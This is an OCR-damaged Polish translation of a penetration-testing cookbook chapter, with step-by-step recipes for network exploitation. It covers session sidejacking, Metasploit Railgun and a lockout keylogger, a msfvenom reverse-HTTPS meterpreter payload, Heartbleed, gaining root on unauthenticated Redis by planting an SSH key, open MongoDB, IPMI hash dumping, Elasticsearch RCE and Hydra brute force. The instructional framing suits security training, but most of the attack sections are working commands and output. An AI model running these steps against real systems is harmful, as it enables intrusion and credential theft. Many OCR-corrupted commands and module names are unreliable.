Eksploatacja sieci w biezacej eksploatacji
Wprowadzenie

Wykorzystywanie sieci to czesto przydatna technika. Czesto mozemy odkryé, ze najbardziej podatnym
punktem w korporacji jest sama sie¢. W tym przepisie dowiesz sie o niektérych sposobach, w jakie
mozemy przeprowadzic¢ test penetracyjny sieci i skutecznie wykorzystac znalezione przez nas ustugi.

Cztowiek posrodku z chomikiem i fretka

Chomik to narzedzie, ktérego mozna uzy¢ do sidejackingu. Dziata jako serwer proxy, podczas gdy fretka
stuzy do wykrywania plikdw cookie w sieci. W tym przepisie przyjrzymy sie, jak przejg¢ kontrole nad
niektérymi sesjami!

Przygotowania
Kali ma juz wstepnie zainstalowane narzedzie, wiec zobaczmy, jak je uruchomic!
Jak to zrobié...

Chomik jest niezwykle tatwy w uzyciu i ma réwniez interfejs uzytkownika. Wykonaj podane kroki, aby
nauczyc sie korzystania z chomika:

1. Zaczynamy od wpisania nastepujacego polecenia:
hamster

Ponizszy zrzut ekranu pokazuje dane wyjsciowe poprzedniego polecenia:
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3. Nastepnie musimy klikngé na adaptery i wybra¢ interfejs, ktéry chcemy monitorowac:
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4. Poczekamy chwile, az zobaczymy sesje w zakfadce po lewej stronie:
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Jesli po kilku minutach nie widzisz sesji, moze to by¢ spowodowane tym, ze chomik i fretka nie znajduja
sie w tym samym folderze. Hamster uruchamia sie i wykonuje ferret razem z nim w tle. Niektdrzy
uzytkownicy mogg mieé problemy, poniewaz ferret nie jest obstugiwany w architekturze 4-bitowej.
Musimy dodac repozytorium 32-bitowe, a nastepnie zainstalowac ferret.

Eksploracja msfconsole

W poprzednich rozdziatach omoéwilismy juz podstawy Metasploit. W tym przepisie poznasz techniki
korzystania z meterpretera i Metasploit w celu bardziej wydajnej eksploatacji.

Jak to zrobic...
Aby dowiedzie¢ sie wiecej o Metasploit, wykonaj nastepujgce kroki:

1. Uruchom konsole Metasploit, wpisujac msfconsole:



FEREARE

2. Aby zobaczy¢ liste dostepnych exploitow, uzyjemy nastepujgcego polecenia:
show exploits

Ponizszy zrzut ekranu pokazuje dane wyjsciowe poprzedniego polecenia:

3. Podobnie, aby zobaczy¢ liste tadunkdéw, uzywamy nastepujgcego polecenia:
show payloads

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia



4. Metasploit zawiera réwniez setki modutéw pomocniczych, ktére zawierajg skanery, fuzzery, sniffery
itd. Aby zobaczy¢ modut pomocniczy, uzywamy nastepujgcego polecenia:

show secondary

Ponizszy zrzut ekranu pokazuje dane wyjsciowe poprzedniego polecenia:

ddministrative C11

admin,

5. Uzyjmy programu FTP fuzzer za pomocg nastepujgcego polecenia:
use secondary/fuzzers/ftp/ftp_client_ftp

6. Zobaczymy opcje za pomoca nastepujgcego polecenia:

show options

7. Ustawimy RHOSTS za pomoca nastepujgcego polecenia:

set RHOSTS x.x.x.x

8. Teraz uruchomimy program pomocniczy, ktéry powiadomi nas w przypadku awarii



Railgun w Metasploit

W tym przepisie dowiemy sie wiecej o Railgun. Railgun to funkcja eksploatacji wytacznie systemu
Windows w meterpreterze. Umozliwia bezposrednig komunikacje z interfejsem APl systemu Windows.

Jak to zrobié...

Railgun umozliwia nam wykonywanie wielu zadan, ktérych Metasploit nie potrafi, takich jak naciskanie
klawiszy klawiatury itd. Korzystajac z tego, mozemy uzywac wywotan interfejsu API systemu Windows
do wykonywania wszystkich operacji, ktérych potrzebujemy, aby uzyskac jeszcze lepsza eksploatacje
po awarii:

1. W poprzednich rozdziatach widzieliSmy juz, jak uzyskac sesje meterpretera. Mozemy przejs¢ do
Railgun z meterpretera, wpisujac polecenie irb:

meterpreter > irb
Starting IRB s
The 'client' variable holds the meterpreter client

2. Aby uzyskac dostep do Railgun, uzywamy polecenia session.railgun:
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Widzimy, ze wydrukowano wiele danych. Sg to zasadniczo dostepne biblioteki DLL i funkcje, ktorych
mozemy uzyc.

3. Aby uzyskac lepszy widok w celu zobaczenia nazw bibliotek DLL, wpisujemy polecenie:

session.railgun.known_dll_names



Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

> session.railgun.known dll names
> ["kernel32", "ntdll", "user32", "ws2 ", "iphlpapi®, "advapi32

4. Aby wyswietli¢ funkcje pliku .dll, uzywamy nastepujgcego polecenia:
session.railgun.<dllname>.functions

Ponizszy zrzut ekranu pokazuje dane wyjsciowe poprzedniego polecenia:
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5. Sprébujmy wywotaé API, ktére zablokuje ekran ofiary. Mozemy to zrobié, wpisujgc nastepujace
polecenie:

client.railgun.user32.LockWorkStation()

Widzimy, ze jestesmy zablokowani:
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6. Wyobrazmy sobie sytuacje, w ktdrej chcemy uzyskac hasto logowania uzytkownika. Mamy hash, ale
nie mozemy go ztamac¢. Uzywajac Railgun, mozemy wywotaé APl systemu Windows, aby zablokowa¢
ekran, a nastepnie uruchomié keylogger w tle, wiec gdy uzytkownik sie zaloguje, bedziemy mie¢ hasto.
Metasploit ma juz modut post-eksploatacyjny, ktéry uzywa Railgun do tego celu; sprébujmy!
Wychodzimy z naszego irb i umieszczamy naszg sesje meterpretera w tle, a nastepnie uzywamy
modutu:

use post/windows/capture/lockout,keylogger

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

| L‘Lh;luuuu ng
msf exploit( ) > use post/windows/capture/lockout kKeylogger




7. Dodajemy naszg sesje za pomocg polecenia set session.
8. Nastepnie ustawiamy PID winlogon.exe tutaj:
set PID <winlogon pid>

9. Nastepnie uruchamiamy i mozemy zobaczy¢ hasto, ktére wprowadzit uzytkownik:

Jest wiece;j...

To tylko przyktad wywotania funkcji, ktére widzimy. Mozemy uzy¢ Railgun do wykonania wielu innych
czynnosci, takich jak usuwanie uzytkownika admin, wstawianie do rejestru, tworzenie wtfasnych
bibliotek DLLS itd.

Korzystanie z paranoicznego meterpretera

Kiedy$ w 2015 roku hakerzy zorientowali sie, ze mozna ukrasé/przejgé czyjas$ sesje meterpretera, po
prostu bawigc sie DNS ofiary i uruchamiajgc wtasny handler w celu nawigzania potgczenia.
Doprowadzito to do opracowania i wydania trybu paranoicznego meterpretera. Wprowadzili interfejs
API, ktéry weryfikowat skrét SHA1 certyfikatu przedstawionego przez msf na obu koricach. W tym
przepisie pokazemy, jak korzystaé z trybu paranoicznego.

Jak to zrobic...

Na poczatek bedziemy potrzebowac certyfikatu SSL:

1. Mozemy wygenerowac wtasny, uzywajgc nastepujgcych polecen:
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509
-keyout meterpreter.key -out meterpreter.crt

Ponizszy zrzut ekranu pokazuje dane wyjsciowe poprzedniego polecenia:



Desktop# openssl req -new -newkey rsa:40896 -days 365 -nodes -x5609
eyout meterpreter.key -out meterpreter.crt
vate key

L+

You are about to be asked to enter information that will be incorporated
into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [AU]:IN

Wypetniamy informacje, takie jak kod kraju i inne informacje, odpowiednio:
cat meterpreter.key meterpreter.crt > meterpreter.pem

2. Poprzednie polecenie zasadniczo otwiera dwa pliki wczesniej i zapisuje je do jednego pliku.
Nastepnie uzywamy wygenerowanego przez nas certyfikatu do wygenerowania fadunku za pomoca
tego:

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=IP
LPORT=443 HandlerSSLCert=meterpreter.pem

StagerVerifySSLCert=true

-f exe -0 payload.exe

Ponizszy zrzut ekranu pokazuje dane wyjsciowe poprzedniego polecenia:

Desktop# msfvenom -p windows/meterpreter/reverse winhttps HandlerSSl
Cert=/root/ top/meterpreter.pem StagerVerifySSLCert=true LHOST=192.168.2.124
LPORT=4444 -f exe -0 /root/Desktop/abcd,.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the paylc
ad
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1128 bytes
Final size of exe file: 73802 bytes
Saved as: /root/Desktop/abcd.exe

3. Aby ustawic opcje, uzywamy nastepujgcego polecenia:
set HandlerSSLCert /path/to/pem_file
set StagerVerifySSLCert true

Ponizszy zrzut ekranu pokazuje przyktad poprzedniego polecenia:

msf exploit( ) > set HandlerSSLCert /root/Desktop/meterpreter
pem
HandlerSSLCert => /root/Desktop/meterpreter.pem

msf exploit( ) > set StagerVerifySSLCert true
StagerVerifySSLCert => true
msf exploit( ) >

4. Teraz uruchamiamy nasz handler, w ktérym widzimy, ze stager zweryfikowat potgczenie z
handlerem, a nastepnie nawigzano pofaczenie



msf exploit( } > run

[*] Started HTTPS reverse handler on https://192.168.2.124:4

[*] Starting the payload handler...

Jest tego wiecej...

Mozemy przejs¢ na bardziej zaawansowany poziom, podajgc nasz wtasny UUID podczas generowania
tadunku za pomocg przefacznika -PayloadUUIDName=. Uzywajac tego, nawet jesli inny atakujacy
bedzie miat dostep do naszego certyfikatu, nie bedzie mdgt przejaé naszej sesji, poniewaz UUID nie
bedzie pasowat.

Opowies¢ o krwawigcym sercu

HeartBleed to luka w zabezpieczeniach kryptografii OpenSSL, ktdra rzekomo zostata wprowadzona w
2012 r. i publicznie ujawniona w 2014 r. Jest to luka w zabezpieczeniach zwigzana z nadmiernym
odczytem bufora, w ktérej mozna odczyta¢ wiecej danych, niz jest to dozwolone W tym przepisie
dowiesz sie, jak wykorzystac¢ HeartBleed za pomocg pomocniczego modutu Metasploit.

Jak to zrobic...

Aby dowiedziec sie wiecej o HeartBleed, wykonaj ponizsze kroki:
1. Uruchamiamy msfconsole, wpisujgc to:

msfconsole

Ponizszy zrzut ekranu pokazuje dane wyjsciowe poprzedniego polecenia:

INRGRRE

2. Nastepnie wyszukujemy pomocniczg funkcje HeartBleed za pomocg nastepujgcego polecenia:

search heartbleed



Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

3. Nastepnie uzywamy pomocniczego, uzywajgc nastepujgcego polecenia:
use secondary/scanner/ssl/openss|_heartbleed

4. Nastepnie widzimy opcje, uzywajgc nastepujgcego polecenia:

show options

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

Jired Description
Pattern to

Trlec

5. Teraz ustawiamy RHOSTS na nasz docelowy adres IP za pomocg tego:
set RHOSTS x.x.x.x

6. Nastepnie ustawiamy verbosity na true za pomocg tego polecenia:
set verbose true

7. Nastepnie wpisujemy run, gdzie powinnismy teraz zobaczy¢ dane. Te dane czesto zawierajg poufne
informacje, takie jak hasta, identyfikatory e-mail itp.:



Wykorzystanie Redis

Czasami podczas testow penetracyjnych mozemy natkna¢ sie na instalacje Redis, ktéra zostata
pozostawiona jako publiczna przez przypadek. W przypadku nieuwierzytelnionej instalacji Redis
najprosciej jest zapisac losowe pliki. W tym przepisie pokazemy, jak uzyska¢ dostep do roota instalacji
Redis dziatajgcych bez uwierzytelniania.

Jak to zrobic...
Aby dowiedzie¢ sie, jak wykorzystac Redis, wykonaj nastepujgce kroki:

1. Najpierw tgczymy sie z serwerem za pomocg telnetu i sprawdzamy, czy mozliwe jest pomysine
potgczenie:

telnet x.x.x.x 6379

Ponizszy zrzut ekranu pokazuje dane wyjsciowe poprzedniego polecenia:

2. Nastepnie konczymy sesje telnet. Nastepnie generujemy nasz klucz SSH za pomocga nastepujgcego
polecenia:

ssh-keygen -t rsa -C youremail@example.com

3. Nastepnie wchodzimy do pliku, w ktérym chcemy go zapisaé:

4. Nasz klucz zostat wygenerowany; teraz musimy go zapisaé na serwerze:



5. Musimy zainstalowac redis-cli w tym celu; mozemy uzy¢ nastepujgcego polecenia:
sudo apt-get install redis-tools

6. Po zainstalowaniu wracamy do wygenerowanego klucza i dodajemy troche losowych danych przed
i po naszym kluczu:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
Plik key.txt to nasz nowy plik klucza z nowymi wierszami:

EEE LT

redis-tools

7. Teraz musimy zastgpic klucze w bazie danych naszymi. taczymy sie wiec z hostem za pomoca tego:
redis-cli -h x.x.x.x

8. Nastepnie oprézniamy klucze za pomoca nastepujacego polecenia:

redis-cli -h x.x.x.x -p 6350 flushall

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

6 TLushall

9. Teraz musimy umiesci¢ nasze klucze w bazie danych. Robimy to za pomocg nastepujgcego polecenia:
cat redis.txt | redis-cli—h x.x.x.x —p 6451 -x set bb

10. Gdy to zrobimy, musimy skopiowac przestany klucz do folderu .ssh; najpierw sprawdzamy biezgcy
folder za pomocg tego polecenia:

config get dir
11. Teraz zmieniamy nasz katalog na /root/.ssh/:
config set dir /root/.ssh/

12. Nastepnie zmieniamy nazwe naszego pliku za pomoca set dbfilename "authorized_keys" i
zapisujemy za pomocg save:



Powiedz nie SQL — posiadanie MongoDB

MongoDB to darmowy program do obstugi baz danych typu open source na wielu platformach. Uzywa
dokumentow typu JSON ze schematami. Domyslna konfiguracja zabezpieczen MongoDB pozwala
kazdemu na dostep do danych bez uwierzytelnienia. W tym przepisie pokazemy, jak wykorzystac te
luke.

Przygotowania

MongoDB domyslnie dziata na porcie 27017. Aby uzyskaé¢ dostep do MongoDB, musimy pobrac i
zainstalowac¢ klienta MongoDB. Dostepnych jest wielu klientéw; uzyjemy Studio-3T, ktére mozna
pobraé ze strony https:/ / studio3t. com/ .

Jak to zrobié...
Wykonaj ponizsze kroki, aby sie o tym dowiedzie¢:
1. Po zainstalowaniu otwieramy aplikacje i wybieramy Pofacz.

2. W otwartym oknie klikamy na nowe potgczenie:



3. Nastepnie wybieramy nazwe, wpisujemy adres IP w polu Serwer i klikamy Zapisz:
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4. Nastepnie po prostu wybieramy baze danych, ktérg witasnie dodalismy, z listy i klikamy Potgcz. Po
pomysinym potaczeniu nazwy baz danych zostang wyswietlone po lewej stronie, a dane po prawe;j
stronie.

Hakerstwo urzadzen wbudowanych

Intelligent Platform Management Interface (IPMI) to technologia, ktéra daje administratorom niemal
catkowitg kontrole nad zdalnie wdrozonymi serwerami. IPMI mozna znalez¢ w wiekszosci korporacji
podczas przeprowadzania testéw penetracyjnych. W tym przepisie zobaczymy, jak mozna znalez¢ luki
w zabezpieczeniach urzadzen IPMI.

Jak to zrobié...
Aby dowiedzie¢ sie wiecej o IPMI, wykonaj nastepujgce kroki:

1. Uruchamiamy Metasploit:



2. Wyszukujemy exploity zwigzane z IPMI za pomocg tego polecenia:
search ipmi

Ponizszy zrzut ekranu pokazuje dane wyjsciowe poprzedniego polecenia:

3. Wykorzystamy luke IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval; wybieramy pomocnicza.
Istnieje wiele exploitéw, takich jak CIPHER Zero, ktore rowniez mozna wyprébowac:

use secondary/scanner/ipmi/ipmi_dumphashes
4. Nastepnie, aby zobaczy¢ opcje, wpisujemy:
show options

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:



5. Tutaj widzimy, ze pomocniczy automatycznie prébuje ztamac hashe, ktére pobiera.

Ustawiamy RHOSTS i uruchamiamy. Po pomysinym wykorzystaniu zobaczymy pobrane i ztamane
hashe:

Exploit Elasticsearch

Czasami podczas przeprowadzania testu penetracyjnego mozemy natkngc sie na niektdre ustugi
dziatajgce na réznych numerach portédw. Jedna z takich ustug oméwimy w tym przepisie. Elasticsearch
to oparty na Javie, otwarty silnik wyszukiwania korporacyjnego. Moze by¢ uzywany do wyszukiwania
dowolnych dokumentdw w czasie rzeczywistym. W 2015 r. pojawit sie exploit RCE dla lasticsearch,
ktéry umozliwit hakerom ominiecie piaskownicy i wykonywanie polecen zdalnych. Zobaczmy, jak to
zrobié.

Jak to zrobic...
Ponizsze kroki demonstrujg eksploatacje Elasticsearch:

1. Domysiny port to 9200 dla Elasticsearch. Uruchamiamy konsole Metasploit:



2. Wyszukujemy exploit Elasticsearch za pomocg tego polecenia:

search Elasticsearch

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

3. W tym przypadku wybieramy exploit:
use exploit/multi/elasticsearch/search_groovy_script

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

4. Ustawiamy RHOST za pomocg polecenia set RHOST x.x.x.x:



5. Uruchamiamy nastepujace polecenie:
run

6. Mamy gotowgq sesje meterpretera.

meterpreter >

Dobry stary Wireshark

Wireshark to najczesciej uzywany na swiecie analizator protokotéw sieciowych. Jest darmowy i ma
otwarte oprogramowanie. Jest uzywany gtdwnie do rozwigzywania probleméw i analizy sieci. W tym
przepisie dowiesz sie kilku podstawowych rzeczy o Wireshark i jak mozemy go uzywac do analizowania
ruchu sieciowego, aby dowiedziec sie, jakie informacje faktycznie przeptywaja przez naszg siec.

Przygotowania

Kali ma juz to narzedzie preinstalowane, wiec zobaczmy, jak je uruchomié!
Jak to zrobic...

Ponizsze kroki demonstrujg uzycie Wireshark:

1. Wireshark mozna otworzy¢ za pomocg polecenia Wireshark:
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2. Wybieramy interfejs, na ktérym chcemy przechwycic ruch:
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3. Nastepnie klikamy na Start. Filtry wyswietlania stuzg do wyswietlania ogdlnego filtrowania pakietéw
podczas przechwytywania ruchu sieciowego. Na przykfad: tcp.port eq 80, jak pokazano na ponizszym
zrzucie ekranu:

Filter: | tep.port eq 80 = | Expression... Clear Apply Save
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298 ZB2, 25172200 192, 168, 200, 146 117.18,237.29 TCP 54 S21T2-80
300 ZB2, 25213440 152, 168, 200, 146 117.18, 237.29 acsR 00 Raguast
301 262, Z5731000 117.18.2537.29 192.168. 200, 146 TCR 60 BO=S2172
302 262, ZFEASE00 117.18.237 .29 192.16d. 200, 146 acsP BSD Response
303 ZEZ. IFEZE30( 1592_168. 200. 145 117.18.237_259 TCP Sd S2172-80
245 ZBS5. TADS120(0 192_ 168, 200_145 216.58.220_155 TCP 74 3ITF55-80
3445 ZBS, TOTETDA( 216,58, 220, 1895 192,168, 200, 146 TCR 60 BB+37755
347 2BS, TITH5100 192, 168, 200. 146 216.58, 220,165 TCP 54 37755-80
350 265, E1BA3700 152. 158, 200. 145 21E.58. 220. 165 TCP 78 FFFEE-=B0
351 ZB5.B15G55600 192_158. 200145 216.58. F520. 155 TCF 74 IFFS¥=B0
352 265, EATOOFTA( 2168_58_ 220195 192_1688._200. 148 TCP H0 B0 37758
253 2ES, B3T130A0 152, 168, 200, 146 216.58, 220,155 TCP 54 IF756-80
354 2BS,B3T46BA0 152, 168, 200, 146 216.58, 220,155 HTTR 532 GET ¢ HIT
355 2B, BITEIFA0 216.58.220, 185 192,168, 200, 146 TCP G0 B0-37754
355 265, E3R3FO0 216.58.220. 195 192.1649. 200, 146 TCP 60 BO-+37757
=57 2ZBES.EQSME540[ 192,158, 200. 145 216.58. 220.155 TCP 5S4 ZF7S7-BQ
350 2B5.0557240(0 216_58_ 220195 192_1848.200. 146 HTTR B9E HTTRA1.1

4. Zastosowanie filtra spowoduje wyswietlenie tylko ruchu na porcie 80. Jesli chcemy wyswietli¢
zadania tylko z okreslonego adresu IP, wybieramy zadanie i klikamy na nie prawym przyciskiem myszy.

5. Nastepnie przechodzimy do Zastosuj jako filtr | Wybrane:

301 262, 35231000 117. 18, 337, 29 15z,1 Mark Packet (toggle) 052172 [6K] Sag=l Ack=dd7 Win=Faza)

302 262, 27HIS600 117,18, 237, 29 182.1  igrucee Pochet (toggle) e=panse

05 25T ITEEAM 100 158, 300 145 117.1 217EED [AK] Saq=447 Ack=707 Win=302

304 252, ITVSTI0 102 166, 00145 5268 et Tme Reference (toggle) pplication Data

35 282, 739290 2.8, 7. i 1652.1 Time Shift J3-34650 [A00] Seq=25E5 Ack=T37 Wir=G

208 352, Z3990I00 32.33.7. 60 152.1 arvar Halla

307 8T 33030300 192 158, 300 1485 51.66 Echt Prac ket AU51-445 [HH] Seq=2lT Acke=1la4d]l Wirm3

8 282, 240N 2.8, i 182, 1 ; arti ficats

309 252, AN 1632, 158, 200. 105 sz,pg [ocket Comment a731-443 [B0K] Seqe2lf Ack=2381 Win=3

10 2823405170 EX.88. 7. ED 192.1 wrwar Kay Exchangs

11 280, MOS0 162, 168, 200, 105 sz.em  Manualy Resclve Address 4951443 [80K] Seqe210 Ack=2000 Wired

FlZ 282, 3TN 152, 158, 200, 195 S liem# ¥nw Cwshanms change Cipher Spes

319 282 wemmanc =2.00.7. 0 e T D Ackots winca)
|54 oo s4806500 BF 88T, ED 16,1 runted Handshak

6. Widzimy, ze filtr zostat zastosowany:



Filtar:  ip.dst == 117.18.237.29

o [ime S0ur o

297 M2 22000 190 183 200, 148
235 202, 25172200 150, 168. 200, 146
300 282, 2521345 192, 158. 200, 146

33 282, FTE2E3N 152, 168, 200, 146
1111 Z91,9003330( 152, 155, 200, 1406
1128 Z91.0Z13190(0 193. 158 _3200. 146

* | Expras=ian...

Destimation

117.18.237_249
117.18.237.208
117.18. 2% g
117.18.237. 29
117.18.2Z237. 28
117.18.E37.328

Clear  Apply  Sawe

rotecol Length Infe
TCR 74 52172+80 [SYH] Sen=0
TCP 54 52172-80 [ACK] Seg=1

Aequest

TCP 54 52172-80 [ACK] Sag=#
TCP =4 s2172-80 [FIN, Ack]
TCR =4 52172<60 [ACK] Sag=d4]

7. Czasami mozemy chcie¢ przyjrze¢ sie komunikacji miedzy dwoma hostami na poziomie TCP. Po
strumieniu TCP jest funkcja, ktéra pozwala nam zobaczyé caty ruch zAdo Biz B do A. Sprébujmy z niej
skorzystaé. Z menu wybieramy Statystyki, a nastepnie klikamy na Konwersacje:

Statistics Telephony Tools Internals
Summary
Comments Summary

Show addrass resolution

Frotocel Hisrarchy |

8. W oknie, ktére sie otworzy, przechodzimy do zaktadki TCP. Tutaj mozemy zobaczy¢ liste adresow IP
i pakietow przesytanych miedzy nimi. Aby wyswietli¢ strumien TCP, wybieramy jeden z adreséw IP i

klikamy na Follow Stream:

TCP: 9 Token Ring UDP: 20 use WLAN
hets A+L Bytes AvD Rel Start Duration bips A—+B
12333323000 b
& 974 12381447000 SO.Z0T9 156.7
3 180 12, 381708000 59562 3l4.8
EF 102 276 12 538208000 7219 5490.8
11 2 asa 12731574000 45,1859 %44
15 5242 14167754000 22191 49785
14 lia 15451513000 048748 113331
11 41512 15637085000 20721 46137
a7 S0961 17.267742000 16966 152021
Fallow Stream Graph A—3B Graph A«B Close

9. Tutaj mozemy zobaczy¢ dane, ktére zostaty przestane przez TCP:



Fallew TCP Straam (top, stream eq 18) o o X

Stream Comtent

................. Foadlowaa s TTE- IR TS LG TTE- IH T BPAF A3 LiTTLLE lal s s s a oo snas
T T T - PO M POV PRPIS: RO | PPy . TR+ R
I.a

+.H

AL = I c O IR . R« PR N

Gaogle Incl%d® . U. ... Google Internet suthorlty G20..
1702220920397 .
170517085680020f 1. 0. . .U, .. US1.0, ..U, . .
Califormial.@...u. ..

Mauntain Viewl. @, . . L.

Gaogle Incl.d..

Jdoesarogoogle.acomdrd, L R He=s cF He S cuBe v e e =i i e a Zee s @R Loy e
F.. 85, .6,.0,7..9 F.. 3V dIWas, DD BB b e TR -
oolaoooo ri, .n..*, google.com.

+_andraid.com. _*. appergine . goagle_cem. .*. cloud.goagle.com. _*. gep . gwt2. com. . *_goagle-
analytice.cem..*, google.ca, .*.google, cl. . *.qoegle . co.ln, .*.google.co. Jp. . *, google.co.u
k..*.goegle.com.&r..*, gpogle.com.au. . 4.q{}-}g?a.cnm.br..*.gnn{;le.can.c-:u . ¥, google, com. . .
*.google.com, tr.. ¥, google.com.vn. . * . google.da. .*.google, 5. . *.googla. fr. . *, googla.hu, . *,
gaogle.it._*. goagle.nl..*.googl=.pl..*.gocgle. pt. .*_ googleadapis.com. .*.googlespis.cn. .
*_ googlecommerce ., com. . *.gaoeglevides . com. . *. gatatic.cn.

*.getatic.com.

*.gvtl,com.

*.gvt2, com. *.metric.gstatic.com..* wrchin.com..* url.gongle, com, . *.youtube-

Entire conversation (577978 bytes) -
Find Save AL Print ASCI EBCDIC Hex Dump C Arrays = Raw
Helg Filter Out This Stream Close

10. Filtry przechwytywania stuzg do przechwytywania ruchu specyficznego dla zastosowanego filtra;
na przykfad, jesli chcemy przechwycié dane tylko z konkretnego hosta, uzywamy hosta x.x.x.x.

11. Aby zastosowac filtr przechwytywania, klikamy na Opcje przechwytywania, a w nowym oknie, ktore
sie otworzy, zobaczymy pole o nazwie Opcje przechwytywania. Tutaj mozemy wprowadzi¢ nasze filtry:

Capltari

] Ethernet erahied 262144 2 nia
sy Lirate cooksd erablad 262144 ] ra

Captura on all rterfaces Marage Interfaces

W Lise promiszunus made on all nterfsces

Captura Filtar: - Compis salacted BFFs
Caplesre Fillas D play Dplicns
Fies B e Uit LisT of packets inraal tima
Autematkally scroll during L capturs
Usa multipls Alas = Usa -reg Format
— 2] ~* Hida captiing infs dialeg
"

12. Zatéimy, ze badamy eksploatacje HeartBleed w sieci. Mozemy uzyé nastepujacego filtra
przechwytywania, aby ustali¢, czy HeartBleed zostat wykorzystany, czy nie:

tcp src port 443 and (tcp[((tcp[12] & OxFO) >> 4 ) * 4] = 0x18)
and (tcp[((tcp[12] & OxFO) >>4 ) * 4 + 1] = 0x03) and
(tep[((tcp[12] & OxFO) >> 4 ) * 4 + 2] < 0x04) and

((ip[2:2] - 4 * (ip[0] & OxOF) - 4 * ((tcp[12] & OxFO) >> 4) > 69))



To jest Sparta!

Sparta to narzedzie Python oparte na GUI, ktére jest przydatne do testéw penetracyjnych
infrastruktury. Pomaga w skanowaniu i enumeracji. Mozemy nawet importowac tutaj dane wyjsciowe
nmap. Sparta jest bardzo tatwa w uzyciu i automatyzuje wiele proceséw zbierania informacji,
utatwiajgc caty proces. W tym przepisie dowiesz sie, jak uzywac tego narzedzia do wykonywania

roznych skanéw w sieci.

Przygotowania

Kali ma juz wstepnie zainstalowane narzedzie, wiec zobaczmy, jak je uruchomic!

Jak to zrobic...

Aby dowiedzie¢ sie wiecej o Sparcie, wykonaj ponizsze kroki:

1. Zaczynamy od wpisania polecenia Sparta:

Fila Halp

Scan | Brute

SPARTA 1.0.2 (BETA)

Hosts | Sardicas | Tocls Services | Scripts | Wfermation | Mates

untitled

froot/De sitop

Zobaczymy, ze narzedzie sie otwiera.

2. Teraz klikamy po lewej stronie panelu menu, aby doda¢ hosty:

Add host(s) to scope

F‘ :.!rl'll‘ll" ] g:.lﬁ!.l.oﬂ g

eq: 182168 1. 0v24 10.10.10.10-20 L 2.3 .4

« Run nmap hest discevery

' Run ".1'."|f.E'I.'! nmap scan

Cancel Add to scope

3. W oknie wpisujemy zakres IP, ktory chcemy przeskanowad.

4. Po kliknieciu Dodaj do zakresu automatycznie rozpoczyna sie podstawowy proces uruchamiania

nmap, nikto itd.:




Hast Start Dime End time Status

12216819 15 Feb 20017 Oded2:28 Running
192.168.1.1 15 Feb 2017 0d:42:28 Running
192,168,111 15 Feb 20017 004228 Running

5. Odkryte hosty mozemy zobaczy¢ na lewym panelu:

Haosts | Services Tools

(3 Haost
€& 192165811
@ 192168112

@ 1921641.13

6. Po prawej stronie, w zakfadce Ustugi, zobaczymy otwarte porty i uruchomione na nich ustugi:

Seraces | Scnpts | Information | Motes nlch--:Ht?.ftfp: = | screenshot (BOftcp) =

Port Protocol State Mama WVarsion

& &0 tcp apen http ngn= 1.6.2

7. Przechodzac do zaktadki Nikto, zobaczymy dane wyjsciowe Nikto wyswietlane dla wybranego hosta:



nikto [B0ftcp) [E | screanshy

Services | Seripts | Information | Motes

+ Server. nginxf1.6.2

+ Server leaks inodes via ETags, header found with file /, fields: Dx588
+ The anti-clickjacking X-Frame-Options header is not present

+ The X-M55-Frotection header is not defined. This header can hint to
forms af X33

+ The X-Content-Type-Options header is not set. This could allow the
site in a different fashion to the MIME type

+ Mo G| Directories Found (use '-C all' to Force check all possible dirs)
+ 7535 requests: O erroris) and 4 item [s) reported on remote hast

+ End Time: 2017-02-15Q0:43:57 [(GMT3) (55 seconds)

+ 1 hostis) tested

8. Mozemy réwniez zobaczyé zrzut ekranu strony dziatajgcej na porcie 80 na hoscie:

Servicas Informatian | Motas

Scnpts

nikta (80ftcp) [=

screenshot (80fcp) F

e

e acocount.

ole

Al of Goocgles.

SHECE AT TR A R b S T

9. W przypadku ustug takich jak FTP automatycznie uruchamiane sg narzedzia takie jak Hydra w celu
sitowego przeprowadzenia proby logowania:

Services  Scripts | Information | Motes | nikto (80ftcp) E | screenshot (80¢tcp] & | ftp-default (21ftcp) =

Hydra v8.1 (c) 2014 by van HauserfTHC - Please do mot use in military or secret service organizations, or for
ilegal purpazes

Hydra [rttp:/fwww. the orgfthe-hydra) starting at 2017-02-15 00:45:43

[DATA] max 1O tasks par 1 server, averall §4 tasks, 10 logim tries, -0 tries per task
[DATA] attacking serice ftp an part 21

The session fila /rydra.restore was written, Type "hydra -R" to resume session

The session file /rydra.restore was written, Type "hydra -R" to resume session
Thi session file fmydra.restore was written. Type "hydra -R" to resume session
[STATUS] 138,00 triesfmin, 138 tries in 00:01h, 42949671648 todo in 1193046:28h, 19 active
The session file /mydra.restore was written. Type “hydra -R” to resume session

10. W lewym panelu bocznym, po przetaczeniu na zaktadke Narzedzia, mozemy zobaczy¢ dane
wyjsciowe kazdego narzedzia hosta.



11. Mozemy réwniez wykonaé niestandardowy atak sitowy, przetgczajac sie na zaktadke Brute:

Scan  Brats
1 E
P |127.0.01 Part |22 Sarvice |ssh ae Run
= Try blank pazrwerd 2 Try ingin s password o Loop srcurd usars o Exit on first vald “erboza Addticral Cptiora
Lsarame  root Ui & List Browse | '# Found usemamas
Faigword | password Passwond list Browse | '* Found passwornds Triwads |16 |w

12. Aby uruchomié petne skanowanie portu lub skanowanie unicorn, mozemy klikng¢ prawym
przyciskiem myszy na hoscie. Przejdz do menu Portscan i wybierz typ skanowania, ktére chcemy
uruchomi¢ na hoscie:

=] Haost Part Frotocel State

®© 12216811 @ 22 tep open =

? 192.168.1.1" 2 o P h
Partscan » Rum unicernscan [full UDF)

@ 19216811
p .
